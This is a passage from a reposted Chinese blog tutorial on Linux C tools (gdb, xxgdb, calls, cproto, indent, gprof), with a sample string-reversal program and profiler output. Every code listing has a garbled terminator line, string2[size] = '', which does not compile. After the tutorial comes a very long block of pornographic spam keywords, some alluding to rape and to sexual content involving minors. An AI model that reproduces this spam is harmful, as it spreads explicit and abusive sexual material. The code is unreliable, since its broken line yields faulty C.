第一個字符, 因為 malloc 函數在分配內存時把它們初始化為空(null)字符. 所以
string2 的第一個字符是空字符. 這解釋了為什么在打印 string2 時沒有任何輸出了.

現在找出了問題出在哪里, 修正這個錯誤是很容易的. 你得把代碼里寫入 string2 的第
一個字符的的偏移量改為 size - 1 而不是 size. 這是因為 string2 的大小為 12, 但
起始偏移量是 0, 串內的字符從偏移量 0 到 偏移量 10, 偏移量 11 為空字符保留.

改正方法非常簡單. 這是這種解決辦法的代碼:

#include <stdio.h>

static void my_print (char *);
static void my_print2 (char *);

main ()
{
char my_string[] = "hello world!";
my_print (my_string);
my_print2 (my_string);
}

void my_print (char *string)
{
printf ("The string is %s ", string);
}

void my_print2 (char *string)
{
char *string2;
int size, i;

size = strlen (string);
string2 = (char *) malloc (size + 1);
for (i = 0; i < size; i++)
string2[size -1 - i] = string[i];
string2[size] = '';

printf ("The string printed backward is %s ", string2);
}
如果程序產生了core文件,可以用gdb hello core命令來查看程序在何處出錯。如在函數
my_print2()中,如果忘記了給string2分配內存 string2 = (char *) malloc (size +
1);,很可能就會core dump.

另外的 C 編程工具

xxgdb
xxgdb 是 gdb 的一個基于 X Window 系統的圖形界面. xxgdb 包括了命令行版的 gdb
上的所有特性. xxgdb 使你能通過按按鈕來執行常用的命令. 設置了斷點的地方也用圖
形來顯示.

你能在一個 Xterm 窗口里鍵入下面的命令來運行它:

xxgdb
你能用 gdb 里任何有效的命令行選項來初始化 xxgdb . 此外 xxgdb 也有一些特有的命
令行選項, 表 27.2 列出了這些選項.

表 27.2. xxgdb 命令行選項.

選 項 描 述
db_name 指定所用調試器的名字, 缺省是 gdb.
db_prompt 指定調試器提示符, 缺省為 gdb.
gdbinit 指定初始化 gdb 的命令文件的文件名, 缺省為 .gdbinit.

nx 告訴 xxgdb 不執行 .gdbinit 文件.
bigicon 使用大圖標.

calls
你可以在 sunsite.unc.edu FTP 站點用下面的路徑:
/pub/Linux/devel/lang/c/calls.tar.Z
來取得 calls , 一些舊版本的 Linux CD-ROM 發行版里也附帶有. 因為它是一個有用的
工具, 我們在這里也介紹一下. 如果你覺得有用的話, 從 BBS, FTP, 或另一張CD-ROM 上
弄一個拷貝. calls 調用 GCC 的預處理器來處理給出的源程序文件, 然后輸出這些文件
的里的函數調用樹圖.

注意: 在你的系統上安裝 calls , 以超級用戶身份登錄后執行下面的步驟: 1. 解壓和
untar 文件. 2. cd 進入 calls untar 后建立的子目錄. 3. 把名叫 calls 的文件移動
到 /usr/bin 目錄. 4. 把名叫 calls.1 的文件移動到目錄 /usr/man/man1 . 5. 刪除
/tmp/calls 目錄. 這些步驟將把 calls 程序和它的指南頁安裝載你的系統上.

------------------------------------------------------------------------------
--

當 calls 打印出調用跟蹤結果時, 它在函數后面用中括號給出了函數所在文件的文件名:

main [hello.c]
如果函數并不是向 calls 給出的文件里的, calls 不知道所調用的函數來自哪里, 則只
顯示函數的名字:

printf
calls 不對遞歸和靜態函數輸出. 遞歸函數顯示成下面的樣子:

fact <<< recursive in factorial.c >>>
靜態函數象這樣顯示:

total [static in calculate.c]
作為一個例子, 假設用 calls 處理下面的程序:

#include <stdio.h>

static void my_print (char *);
static void my_print2 (char *);

main ()
{
char my_string[] = "hello world!";
my_print (my_string);
my_print2 (my_string);
my_print (my_string);
}

void count_sum()
{
int i,sum=0;
for(i=0; i<1000000; i++)
sum += i;
}

void my_print (char *string)
{
count_sum();
printf ("The string is %s ", string);
}

void my_print2 (char *string)
{
char *string2;
int size, i,sum =0;

count_sum();
size = strlen (string);
string2 = (char *) malloc (size + 1);
for (i = 0; i < size; i++) string2[size -1 - i] = string[i];
string2[size] = '';
for(i=0; i<5000000; i++)
sum += i;

printf ("The string printed backward is %s ", string2);
}
將產生如下的輸出:

1 __underflow [hello.c]
2 main
3 my_print [hello.c]
4 count_sum [hello.c]
5 printf
6 my_print2 [hello.c]
7 count_sum
8 strlen
9 malloc
10 printf
calls 有很多命令行選項來設置不同的輸出格式, 有關這些選項的更多信息請參考 calls
的指南頁. 方法是在命令行上鍵入 calls -h .

calltree
calltree與calls類似,初了輸出函數調用樹圖外,還有其它詳細的信息。
可以從sunsite.unc.edu FTP 站點用下面的路徑
:/pub/Linux/devel/lang/c/calltree.tar.gz得到calltree.

cproto
cproto 讀入 C 源程序文件并自動為每個函數產生原型申明. 用 cproto 可以在寫程序時
為你節省大量用來定義函數原型的時間.
如果你讓 cproto 處理下面的代碼(cproto hello.c):

#include <stdio.h>

static void my_print (char *);
static void my_print2 (char *);

main ()
{
char my_string[] = "hello world!";
my_print (my_string);
my_print2 (my_string);
}

void my_print (char *string)
{
printf ("The string is %s ", string);
}

void my_print2 (char *string)
{
char *string2;
int size, i;

size = strlen (string);
string2 = (char *) malloc (size + 1);
for (i = 0; i < size; i++)
string2[size -1 - i] = string[i];
string2[size] = '';

printf ("The string printed backward is %s ", string2);
}
你將得到下面的輸出:

/* hello.c */

int main(void);

int my_print(char *string);

int my_print2(char *string);
這個輸出可以重定向到一個定義函數原型的包含文件里.

indent
indent 實用程序是 Linux 里包含的另一個編程實用工具. 這個工具簡單的說就為你的代
碼產生美觀的縮進的格式. indent 也有很多選項來指定如何格式化你的源代碼.這些選項
的更多信息請看indent 的指南頁, 在命令行上鍵入 indent -h .

下面的例子是 indent 的缺省輸出:

運行 indent 以前的 C 代碼:

#include <stdio.h>

static void my_print (char *);
static void my_print2 (char *);

main ()
{
char my_string[] = "hello world!";
my_print (my_string);
my_print2 (my_string);
}

void my_print (char *string)
{
printf ("The string is %s ", string);
}

void my_print2 (char *string)
{
char *string2; int size, i;

size = strlen (string);
string2 = (char *) malloc (size + 1);
for (i = 0; i < size; i++) string2[size -1 - i] = string[i];
string2[size] = '';

printf ("The string printed backward is %s ", string2);
}
運行 indent 后的 C 代碼:

#include <stdio.h>
static void my_print (char *);
static void my_print2 (char *);
main ()
{
char my_string[] = "hello world!";
my_print (my_string);
my_print2 (my_string);
}
void
my_print (char *string)
{
printf ("The string is %s ", string);
}
void
my_print2 (char *string)
{
char *string2;
int size, i;
size = strlen (string);
string2 = (char *) malloc (size + 1);
for (i = 0; i < size; i++)
string2[size - 1 - i] = string[i];
string2[size] = '';
printf ("The string printed backward is %s ", string2);
}
indent 并不改變代碼的實質內容, 而只是改變代碼的外觀. 使它變得更可讀, 這永遠是
一件好事.

gprof
gprof 是安裝在你的 Linux 系統的 /usr/bin 目錄下的一個程序. 它使你能剖析你的程
序從而知道程序的哪一個部分在執行時最費時間.

gprof 將告訴你程序里每個函數被調用的次數和每個函數執行時所占時間的百分比. 你如
果想提高你的程序性能的話這些信息非常有用.

為了在你的程序上使用 gprof, 你必須在編譯程序時加上 -pg 選項. 這將使程序在每次
執行時產生一個叫 gmon.out 的文件. gprof 用這個文件產生剖析信息.

在你運行了你的程序并產生了 gmon.out 文件后你能用下面的命令獲得剖析信息:

gprof <program_name>
參數 program_name 是產生 gmon.out 文件的程序的名字.

為了說明問題,在程序中增加了函數count_sum()以消耗CPU時間,程序如下
#include <stdio.h>

static void my_print (char *);
static void my_print2 (char *);

main ()
{
char my_string[] = "hello world!";
my_print (my_string);
my_print2 (my_string);
my_print (my_string);
}

void count_sum()
{
int i,sum=0;
for(i=0; i<1000000; i++)
sum += i;
}

void my_print (char *string)
{
count_sum();
printf ("The string is %s ", string);
}

void my_print2 (char *string)
{
char *string2;
int size, i,sum =0;

count_sum();
size = strlen (string);
string2 = (char *) malloc (size + 1);
for (i = 0; i < size; i++) string2[size -1 - i] = string[i];
string2[size] = '';
for(i=0; i<5000000; i++)
sum += i;

printf ("The string printed backward is %s ", string2);
}
$ gcc -pg -o hello hello.c
$ ./hello
$ gprof hello | more
將產生以下的輸出
Flat profile:

Each sample counts as 0.01 seconds.
% cumulative self self total
time seconds seconds calls us/call us/call name
69.23 0.09 0.09 1 90000.00 103333.33 my_print2
30.77 0.13 0.04 3 13333.33 13333.33 count_sum
0.00 0.13 0.00 2 0.00 13333.33 my_print

% 執行此函數所占用的時間占程序總
time 執行時間的百分比

cumulative 累計秒數 執行此函數花費的時間
seconds (包括此函數調用其它函數花費的時間)

self 執行此函數花費的時間
seconds (調用其它函數花費的時間不計算在內)

calls 調用次數

self 每此執行此函數花費的微秒時間
us/call

total 每此執行此函數加上它調用其它函數
us/call 花費的微秒時間

name 函數名

由以上數據可以看出,執行my_print()函數本身沒花費什么時間,但是它又調用了
count_sum()函數,所以累計秒數為0.13.

技巧: gprof 產生的剖析數據很大, 如果你想檢查這些數據的話最好把輸出重定向到一個
文件里.

Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=513410

總結

以上是生活随笔為你收集整理的Linux学习日志DAY8的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

东京热男人av天堂 | 亚洲小说图区综合在线 | 色欲人妻aaaaaaa无码 | 天堂а√在线中文在线 | 色综合天天综合狠狠爱 | 大乳丰满人妻中文字幕日本 | 一本久道久久综合狠狠爱 | 亚洲第一网站男人都懂 | 久激情内射婷内射蜜桃人妖 | 久久精品中文闷骚内射 | 成年美女黄网站色大免费视频 | 亚洲欧洲日本综合aⅴ在线 | 伦伦影院午夜理论片 | 日本大香伊一区二区三区 | 久久人人97超碰a片精品 | 无码av免费一区二区三区试看 | 国产真实夫妇视频 | 丰满人妻被黑人猛烈进入 | 激情内射日本一区二区三区 | 亚洲中文字幕在线无码一区二区 | 免费看男女做好爽好硬视频 | 丰满少妇熟乱xxxxx视频 | 精品一区二区不卡无码av | 亚洲理论电影在线观看 | 日本护士xxxxhd少妇 | 久久国产精品二国产精品 | 色一情一乱一伦一视频免费看 | av香港经典三级级 在线 | 久久久婷婷五月亚洲97号色 | 人妻天天爽夜夜爽一区二区 | 天天躁日日躁狠狠躁免费麻豆 | av无码电影一区二区三区 | 亚洲国产av美女网站 | 国产熟女一区二区三区四区五区 | 亚洲日本在线电影 | 88国产精品欧美一区二区三区 | 久久久久久a亚洲欧洲av冫 | 日本精品高清一区二区 | 欧美日本免费一区二区三区 | 久久精品中文字幕一区 | 国产成人精品优优av | 中文字幕人妻无码一区二区三区 | 中文无码精品a∨在线观看不卡 | 天堂亚洲2017在线观看 | 日韩精品无码免费一区二区三区 | 亚洲精品无码人妻无码 | 国产精品va在线观看无码 | 丰满少妇弄高潮了www | 扒开双腿疯狂进出爽爽爽视频 | 狠狠躁日日躁夜夜躁2020 | 久久午夜无码鲁丝片午夜精品 | 国产精品va在线观看无码 | 国产午夜精品一区二区三区嫩草 | 免费乱码人妻系列无码专区 | 国产97在线 | 亚洲 | 1000部啪啪未满十八勿入下载 | 亚洲综合伊人久久大杳蕉 | 中文字幕无码免费久久99 | 精品久久久久久亚洲精品 | 欧美阿v高清资源不卡在线播放 | 国产精品久久国产精品99 | 在线а√天堂中文官网 | 亚洲成a人一区二区三区 | 久久亚洲中文字幕精品一区 | 狠狠色丁香久久婷婷综合五月 | 国产高清av在线播放 | 精品夜夜澡人妻无码av蜜桃 | 老熟女重囗味hdxx69 | 精品无码国产一区二区三区av | 丰满少妇人妻久久久久久 | 久久精品国产一区二区三区肥胖 | 亚洲 高清 成人 动漫 | 亚洲精品久久久久久久久久久 | 波多野结衣av一区二区全免费观看 | 色综合久久久无码中文字幕 | 亚洲爆乳精品无码一区二区三区 | 2020久久香蕉国产线看观看 | 国产成人精品视频ⅴa片软件竹菊 | 青春草在线视频免费观看 | 国产在线精品一区二区三区直播 | 牲欲强的熟妇农村老妇女视频 | 青青久在线视频免费观看 | 少妇高潮一区二区三区99 | 亚洲色大成网站www国产 | 波多野结衣乳巨码无在线观看 | 天天拍夜夜添久久精品大 | 色欲久久久天天天综合网精品 | 日韩精品无码一区二区中文字幕 | 动漫av一区二区在线观看 | 99久久精品国产一区二区蜜芽 | 无人区乱码一区二区三区 | 国产精华av午夜在线观看 | 国产乱人偷精品人妻a片 | 亚洲色在线无码国产精品不卡 | 久久国语露脸国产精品电影 | 欧美性生交xxxxx久久久 | 婷婷色婷婷开心五月四房播播 | 中文字幕无线码免费人妻 | 日本大乳高潮视频在线观看 | 国产婷婷色一区二区三区在线 | 国产精品久久国产精品99 | 无码人妻久久一区二区三区不卡 | 欧美日韩一区二区三区自拍 | 在线视频网站www色 | 亚洲s码欧洲m码国产av | 国产色xx群视频射精 | ass日本丰满熟妇pics | 亚洲精品一区二区三区大桥未久 | 乌克兰少妇性做爰 | 国内精品九九久久久精品 | 无套内谢的新婚少妇国语播放 | 色综合久久中文娱乐网 | 荫蒂被男人添的好舒服爽免费视频 | 日本精品高清一区二区 | 成人一在线视频日韩国产 | 欧美三级不卡在线观看 | 亚洲人成网站色7799 | 55夜色66夜色国产精品视频 | 在线播放免费人成毛片乱码 | 少妇无码吹潮 | 国产精品久久久一区二区三区 | 对白脏话肉麻粗话av | 丁香啪啪综合成人亚洲 | 自拍偷自拍亚洲精品10p | 国产高清不卡无码视频 | 久久午夜夜伦鲁鲁片无码免费 | 亚洲欧美精品aaaaaa片 | √天堂中文官网8在线 | 疯狂三人交性欧美 | 人妻人人添人妻人人爱 | 狠狠色欧美亚洲狠狠色www | 最近免费中文字幕中文高清百度 | 精品国产一区二区三区av 性色 | 男人扒开女人内裤强吻桶进去 | 夜精品a片一区二区三区无码白浆 | 一本色道婷婷久久欧美 | 人人澡人人透人人爽 | 国产精品亚洲专区无码不卡 | 亚洲一区二区三区在线观看网站 | 一本久久伊人热热精品中文字幕 | 亚洲狠狠婷婷综合久久 | 日韩欧美中文字幕在线三区 | 99在线 | 亚洲 | 久久久久免费看成人影片 | 国产成人精品无码播放 | 成人免费视频视频在线观看 免费 | 爱做久久久久久 | 波多野结衣一区二区三区av免费 | 人妻少妇精品久久 | 少妇被黑人到高潮喷出白浆 | 亚洲精品成a人在线观看 | 中文字幕av伊人av无码av | 国产三级久久久精品麻豆三级 | 国产做国产爱免费视频 | 激情内射亚州一区二区三区爱妻 | 国产成人亚洲综合无码 | 欧美日韩综合一区二区三区 | 最近中文2019字幕第二页 | 国产精品无码mv在线观看 | 好屌草这里只有精品 | 国产精品久久久一区二区三区 | 国产精品资源一区二区 | 精品欧洲av无码一区二区三区 | 无码乱肉视频免费大全合集 | 国产精品久久久久久无码 | 国产亚洲精品久久久久久国模美 | 国产成人精品无码播放 | 精品熟女少妇av免费观看 | 日本乱偷人妻中文字幕 | 成人免费视频在线观看 | 国内精品人妻无码久久久影院 | 日本高清一区免费中文视频 | 国产亚洲人成在线播放 | 国产卡一卡二卡三 | 欧美日韩久久久精品a片 | 97资源共享在线视频 | 女人高潮内射99精品 | 波多野结衣av在线观看 | 国产免费久久久久久无码 | 日本一区二区三区免费播放 | 久久久久亚洲精品中文字幕 | 久久久婷婷五月亚洲97号色 | 国产亚洲精品久久久久久大师 | 一本色道久久综合亚洲精品不卡 | 永久免费观看美女裸体的网站 | 亚洲人交乣女bbw | 国产精品久久久久久亚洲影视内衣 | 国产免费观看黄av片 | 亚洲中文字幕av在天堂 | 7777奇米四色成人眼影 | 激情综合激情五月俺也去 | 人妻少妇精品无码专区动漫 | 一个人免费观看的www视频 | 性欧美牲交在线视频 | 亚洲自偷精品视频自拍 | 日韩av无码一区二区三区 | 亚洲国产综合无码一区 | 无码播放一区二区三区 | 国产尤物精品视频 | 欧美日韩一区二区三区自拍 | 熟妇人妻中文av无码 | 亚洲天堂2017无码中文 | 无码一区二区三区在线 | 色婷婷综合中文久久一本 | 国产午夜手机精彩视频 | 老熟妇仑乱视频一区二区 | 国产办公室秘书无码精品99 | 99精品国产综合久久久久五月天 | 色婷婷香蕉在线一区二区 | 欧美激情一区二区三区成人 | 国产成人精品一区二区在线小狼 | 亚洲娇小与黑人巨大交 | 久久 国产 尿 小便 嘘嘘 | 捆绑白丝粉色jk震动捧喷白浆 | 国产黄在线观看免费观看不卡 | 久久人妻内射无码一区三区 | 无码国产激情在线观看 | 影音先锋中文字幕无码 | 成在人线av无码免观看麻豆 | 亚拍精品一区二区三区探花 | 乌克兰少妇性做爰 | 露脸叫床粗话东北少妇 | 国产精品二区一区二区aⅴ污介绍 | 亚洲自偷自偷在线制服 | 国产精品亚洲一区二区三区喷水 | 樱花草在线社区www | 波多野结衣aⅴ在线 | 国产人妻精品一区二区三区不卡 | 乌克兰少妇xxxx做受 | 东北女人啪啪对白 | 俺去俺来也www色官网 | 久久精品中文闷骚内射 | 丰满妇女强制高潮18xxxx | 亚洲精品一区二区三区大桥未久 | 97精品国产97久久久久久免费 | 男人的天堂2018无码 | 免费人成在线观看网站 | 国产99久久精品一区二区 | 国产在线一区二区三区四区五区 | 亚洲精品中文字幕久久久久 | 久久亚洲中文字幕精品一区 | 亚洲小说图区综合在线 | 国产精品久久久久9999小说 | 成人片黄网站色大片免费观看 | 国产精品美女久久久久av爽李琼 | 亚洲熟女一区二区三区 | 亚洲区欧美区综合区自拍区 | 久久综合网欧美色妞网 | 色情久久久av熟女人妻网站 | 国产成人一区二区三区在线观看 | 日日橹狠狠爱欧美视频 | 无码毛片视频一区二区本码 | 超碰97人人做人人爱少妇 | 色一情一乱一伦 | 色妞www精品免费视频 | 夜精品a片一区二区三区无码白浆 | 亚洲国产成人a精品不卡在线 | 国产成人精品必看 | 久热国产vs视频在线观看 | 亚洲精品一区二区三区大桥未久 | 欧美日本免费一区二区三区 | 人人妻人人澡人人爽人人精品 | 国产成人无码av在线影院 | 国产莉萝无码av在线播放 | 亚洲精品无码人妻无码 | 亚洲经典千人经典日产 | 久久精品人妻少妇一区二区三区 | 男女性色大片免费网站 | 亚洲另类伦春色综合小说 | 水蜜桃色314在线观看 | 国产亚洲精品久久久ai换 | 久久精品国产一区二区三区 | 亚洲中文字幕在线观看 | 欧美日韩亚洲国产精品 | 成人免费视频一区二区 | 蜜桃av蜜臀av色欲av麻 999久久久国产精品消防器材 | 日日碰狠狠丁香久燥 | 波多野结衣av在线观看 | 国产特级毛片aaaaaaa高清 | 精品成在人线av无码免费看 | 久激情内射婷内射蜜桃人妖 | 无码纯肉视频在线观看 | 国产真实乱对白精彩久久 | 强伦人妻一区二区三区视频18 | 久久熟妇人妻午夜寂寞影院 | 久久综合激激的五月天 | 黑人大群体交免费视频 | 欧美丰满老熟妇xxxxx性 | 国产三级久久久精品麻豆三级 | 午夜免费福利小电影 | 国产成人人人97超碰超爽8 | 麻花豆传媒剧国产免费mv在线 | 老太婆性杂交欧美肥老太 | 国产精品人人爽人人做我的可爱 | 国产福利视频一区二区 | 国产亚洲精品久久久久久大师 | 少妇一晚三次一区二区三区 | 免费播放一区二区三区 | 人人妻人人澡人人爽精品欧美 | 少妇邻居内射在线 | 亚洲一区二区三区偷拍女厕 | 曰韩无码二三区中文字幕 | 无码精品国产va在线观看dvd | 性做久久久久久久免费看 | 国产午夜福利100集发布 | 国产成人人人97超碰超爽8 | 成人一在线视频日韩国产 | 精品国产一区二区三区四区 | 亚洲精品久久久久avwww潮水 | 麻豆av传媒蜜桃天美传媒 | 国产成人精品久久亚洲高清不卡 | аⅴ资源天堂资源库在线 | 国产精品美女久久久久av爽李琼 | 欧美精品在线观看 | 熟女俱乐部五十路六十路av | 欧美熟妇另类久久久久久不卡 | 在线观看欧美一区二区三区 | 2019午夜福利不卡片在线 | 欧美日韩综合一区二区三区 | а√天堂www在线天堂小说 | 国产绳艺sm调教室论坛 | 国产亚洲精品久久久久久大师 | 狠狠亚洲超碰狼人久久 | 欧美日本免费一区二区三区 | 欧美国产日韩久久mv | 精品国精品国产自在久国产87 | 成人aaa片一区国产精品 | 中文字幕乱码亚洲无线三区 | 精品 日韩 国产 欧美 视频 | 红桃av一区二区三区在线无码av | 国产精品久久久 | 国产一区二区三区精品视频 | 国产内射老熟女aaaa | 久久亚洲a片com人成 | 欧美 亚洲 国产 另类 | 午夜精品久久久久久久久 | 国产成人精品优优av | 久久亚洲精品成人无码 | 国产精品igao视频网 | 欧美精品国产综合久久 | 久久精品国产一区二区三区肥胖 | 国产精品99久久精品爆乳 | 亚洲精品一区二区三区大桥未久 | 亚洲阿v天堂在线 | 午夜免费福利小电影 | 亚洲成在人网站无码天堂 | 宝宝好涨水快流出来免费视频 | 帮老师解开蕾丝奶罩吸乳网站 | 亚洲中文字幕无码中字 | 成人试看120秒体验区 | 亚洲中文字幕va福利 | 暴力强奷在线播放无码 | 荫蒂添的好舒服视频囗交 | 性开放的女人aaa片 | 99久久99久久免费精品蜜桃 | 中国女人内谢69xxxxxa片 | 欧美黑人巨大xxxxx | 成年美女黄网站色大免费视频 | 骚片av蜜桃精品一区 | 日本精品人妻无码77777 天堂一区人妻无码 | 日产国产精品亚洲系列 | 国产成人人人97超碰超爽8 | 小泽玛莉亚一区二区视频在线 | 清纯唯美经典一区二区 | 久久精品国产99久久6动漫 | 18无码粉嫩小泬无套在线观看 | 一本无码人妻在中文字幕免费 | 精品偷拍一区二区三区在线看 | a片在线免费观看 | 天天摸天天碰天天添 | 妺妺窝人体色www婷婷 | 国产猛烈高潮尖叫视频免费 | 国产亚洲精品久久久久久久久动漫 | 中文字幕乱码中文乱码51精品 | 亚洲日韩一区二区三区 | v一区无码内射国产 | 国产精品久久久久影院嫩草 | 免费网站看v片在线18禁无码 | 久久精品国产一区二区三区肥胖 | 老太婆性杂交欧美肥老太 | 欧洲熟妇精品视频 | 国产农村妇女高潮大叫 | 免费播放一区二区三区 | 天天爽夜夜爽夜夜爽 | 亚洲熟妇色xxxxx亚洲 | 十八禁视频网站在线观看 | 真人与拘做受免费视频 | 漂亮人妻洗澡被公强 日日躁 | 久久综合久久自在自线精品自 | 内射欧美老妇wbb | 99精品无人区乱码1区2区3区 | 麻豆国产人妻欲求不满 | 精品人人妻人人澡人人爽人人 | 国产精品久久精品三级 | 国内精品一区二区三区不卡 | 在线天堂新版最新版在线8 | 日本大香伊一区二区三区 | 国产午夜亚洲精品不卡下载 | 久久久婷婷五月亚洲97号色 | 人人澡人人妻人人爽人人蜜桃 | 亚洲精品一区二区三区婷婷月 | 精品一区二区三区波多野结衣 | 日日碰狠狠躁久久躁蜜桃 | 国产精华av午夜在线观看 | 色综合久久网 | 丝袜足控一区二区三区 | 日日摸日日碰夜夜爽av | 天天拍夜夜添久久精品 | aa片在线观看视频在线播放 | 免费乱码人妻系列无码专区 | 久热国产vs视频在线观看 | 粉嫩少妇内射浓精videos | 成人精品视频一区二区三区尤物 | 精品久久久久香蕉网 | 国产乱人偷精品人妻a片 | 荫蒂被男人添的好舒服爽免费视频 | 亚洲精品中文字幕乱码 | 丰满少妇女裸体bbw | 亚洲熟妇色xxxxx欧美老妇 | 欧美日韩综合一区二区三区 | 人妻少妇精品无码专区二区 | 樱花草在线播放免费中文 | 久热国产vs视频在线观看 | www成人国产高清内射 | 熟女少妇人妻中文字幕 | 精品无人区无码乱码毛片国产 | 亚洲一区二区三区国产精华液 | 美女张开腿让人桶 | 天天躁日日躁狠狠躁免费麻豆 | 青青青手机频在线观看 | 国产欧美熟妇另类久久久 | 无套内谢老熟女 | 亚洲伊人久久精品影院 | 波多野结衣av一区二区全免费观看 | 天堂无码人妻精品一区二区三区 | 丰满诱人的人妻3 | 国产猛烈高潮尖叫视频免费 | 一区二区传媒有限公司 | 中文无码伦av中文字幕 | 免费无码av一区二区 | 午夜时刻免费入口 | 国产 浪潮av性色四虎 | 国産精品久久久久久久 | 国产精品久久精品三级 | 欧美老妇交乱视频在线观看 | 亚洲一区二区三区偷拍女厕 | 国产精品毛片一区二区 | 精品国产一区二区三区四区在线看 | 国产电影无码午夜在线播放 | 一个人免费观看的www视频 | 丰满岳乱妇在线观看中字无码 | 国产精品无码永久免费888 | 免费看男女做好爽好硬视频 | 国产精品美女久久久网av | 亚洲男人av天堂午夜在 | 中文字幕无码av激情不卡 | 熟女俱乐部五十路六十路av | 国产人妻精品一区二区三区不卡 | 久久综合九色综合欧美狠狠 | 老头边吃奶边弄进去呻吟 | 精品无人区无码乱码毛片国产 | 超碰97人人射妻 | 亚洲中文字幕无码中文字在线 | 人妻插b视频一区二区三区 | 成人无码精品一区二区三区 | 国产性生交xxxxx无码 | 欧美猛少妇色xxxxx | 67194成是人免费无码 | 日韩人妻无码一区二区三区久久99 | 亚洲无人区午夜福利码高清完整版 | 亚洲午夜无码久久 | 亚洲 激情 小说 另类 欧美 | 99久久人妻精品免费二区 | 永久免费观看美女裸体的网站 | 国产莉萝无码av在线播放 | 婷婷丁香五月天综合东京热 | 乱人伦中文视频在线观看 | 国产人妻人伦精品 | 亚洲精品一区二区三区婷婷月 | 精品偷自拍另类在线观看 | 欧美激情综合亚洲一二区 | 久久天天躁夜夜躁狠狠 | av在线亚洲欧洲日产一区二区 | 亚洲男女内射在线播放 | 国产热a欧美热a在线视频 | 无码人妻精品一区二区三区不卡 | 亚洲欧美中文字幕5发布 | 亚洲精品一区二区三区大桥未久 | 国产麻豆精品一区二区三区v视界 | 亚洲 高清 成人 动漫 | 夜先锋av资源网站 | 18黄暴禁片在线观看 | 亚洲gv猛男gv无码男同 | 国产成人无码a区在线观看视频app | 丰满少妇弄高潮了www | 国产熟女一区二区三区四区五区 | 国产97人人超碰caoprom | 少妇被黑人到高潮喷出白浆 | 伊人久久大香线蕉午夜 | 色情久久久av熟女人妻网站 | 日本精品少妇一区二区三区 | 初尝人妻少妇中文字幕 | 国产 精品 自在自线 | 日本乱偷人妻中文字幕 | 亚洲成av人影院在线观看 | 97夜夜澡人人爽人人喊中国片 | 国产精品.xx视频.xxtv | 99久久久国产精品无码免费 | 丰满护士巨好爽好大乳 | 永久免费观看国产裸体美女 | www一区二区www免费 | 日日鲁鲁鲁夜夜爽爽狠狠 | 久激情内射婷内射蜜桃人妖 | 国产精品毛多多水多 | 久久久婷婷五月亚洲97号色 | 精品国产麻豆免费人成网站 | 亚洲精品一区二区三区婷婷月 | 好男人社区资源 | 丰满岳乱妇在线观看中字无码 | 国产精品爱久久久久久久 | 国内老熟妇对白xxxxhd | 国产精品久久久久久亚洲影视内衣 | 蜜桃视频韩日免费播放 | 国产内射爽爽大片视频社区在线 | 国产午夜亚洲精品不卡 | 女高中生第一次破苞av | 免费乱码人妻系列无码专区 | 免费看男女做好爽好硬视频 | 人妻夜夜爽天天爽三区 | 久久久精品欧美一区二区免费 | 精品国产aⅴ无码一区二区 | 性生交大片免费看女人按摩摩 | 久久综合激激的五月天 | 国产精品无码一区二区桃花视频 | 秋霞成人午夜鲁丝一区二区三区 | 久久久无码中文字幕久... | 久久精品丝袜高跟鞋 | 久久亚洲a片com人成 | 日本高清一区免费中文视频 | 日本一卡2卡3卡4卡无卡免费网站 国产一区二区三区影院 | 无套内谢的新婚少妇国语播放 | 亚洲精品成人av在线 | 国产精品99久久精品爆乳 | 亚洲精品久久久久久久久久久 | 欧美熟妇另类久久久久久多毛 | 99久久99久久免费精品蜜桃 | 久久久精品人妻久久影视 | 亚洲精品一区二区三区婷婷月 | 狂野欧美性猛交免费视频 | 国产三级精品三级男人的天堂 | 在线视频网站www色 | 夜夜影院未满十八勿进 | 国产成人精品一区二区在线小狼 | 双乳奶水饱满少妇呻吟 | 午夜理论片yy44880影院 | 国产成人无码午夜视频在线观看 | 成 人 网 站国产免费观看 | 国产福利视频一区二区 | 日韩少妇内射免费播放 | 午夜精品久久久久久久久 | 欧美日韩在线亚洲综合国产人 | 无码国产乱人伦偷精品视频 | 国产乱人伦av在线无码 | 国产又爽又猛又粗的视频a片 | 欧美成人午夜精品久久久 | 亚洲精品一区二区三区大桥未久 | 久久成人a毛片免费观看网站 | 无码帝国www无码专区色综合 | 老熟女重囗味hdxx69 | 性欧美牲交在线视频 | 精品人人妻人人澡人人爽人人 | 动漫av网站免费观看 | 日本一区二区三区免费高清 | av香港经典三级级 在线 | 日本熟妇乱子伦xxxx | ass日本丰满熟妇pics | 中文字幕人妻丝袜二区 | 亚洲热妇无码av在线播放 | 国产精品亚洲一区二区三区喷水 | 国产在线aaa片一区二区99 | 网友自拍区视频精品 | 国产av无码专区亚洲a∨毛片 | 自拍偷自拍亚洲精品被多人伦好爽 | 日韩av无码一区二区三区不卡 | 欧美阿v高清资源不卡在线播放 | 一本久久a久久精品亚洲 | 成人性做爰aaa片免费看不忠 | 丁香花在线影院观看在线播放 | 亚洲中文无码av永久不收费 | 大胆欧美熟妇xx | 又大又黄又粗又爽的免费视频 | 在线播放无码字幕亚洲 | 东京无码熟妇人妻av在线网址 | 国产av无码专区亚洲awww | 欧美自拍另类欧美综合图片区 | 无码毛片视频一区二区本码 | 国产性生大片免费观看性 | 亚洲爆乳大丰满无码专区 | 亚洲国精产品一二二线 | 强奷人妻日本中文字幕 | 日本xxxx色视频在线观看免费 | 黄网在线观看免费网站 | 乱码av麻豆丝袜熟女系列 | 欧美国产日韩久久mv | 999久久久国产精品消防器材 | 国产真实乱对白精彩久久 | 国语自产偷拍精品视频偷 | 亚洲精品中文字幕久久久久 | 动漫av网站免费观看 | 俺去俺来也www色官网 | 狠狠综合久久久久综合网 | 久久99精品国产麻豆蜜芽 | 亚洲爆乳无码专区 | 大地资源中文第3页 | 欧美老妇与禽交 | 国产卡一卡二卡三 | 色综合久久久无码网中文 | 色一情一乱一伦一区二区三欧美 | 无码人妻出轨黑人中文字幕 | 国产精品久久久 | 日本大香伊一区二区三区 | 国产真实乱对白精彩久久 | 国产精品久久久久久久影院 | 十八禁视频网站在线观看 | 国产熟女一区二区三区四区五区 | 男女下面进入的视频免费午夜 | 18精品久久久无码午夜福利 | 少妇被粗大的猛进出69影院 | 波多野结衣av在线观看 | 日韩无套无码精品 | 一本色道婷婷久久欧美 | 精品久久久久久人妻无码中文字幕 | 久久久国产精品无码免费专区 | 熟妇女人妻丰满少妇中文字幕 | 欧美喷潮久久久xxxxx | 精品一二三区久久aaa片 | 亚洲小说图区综合在线 | 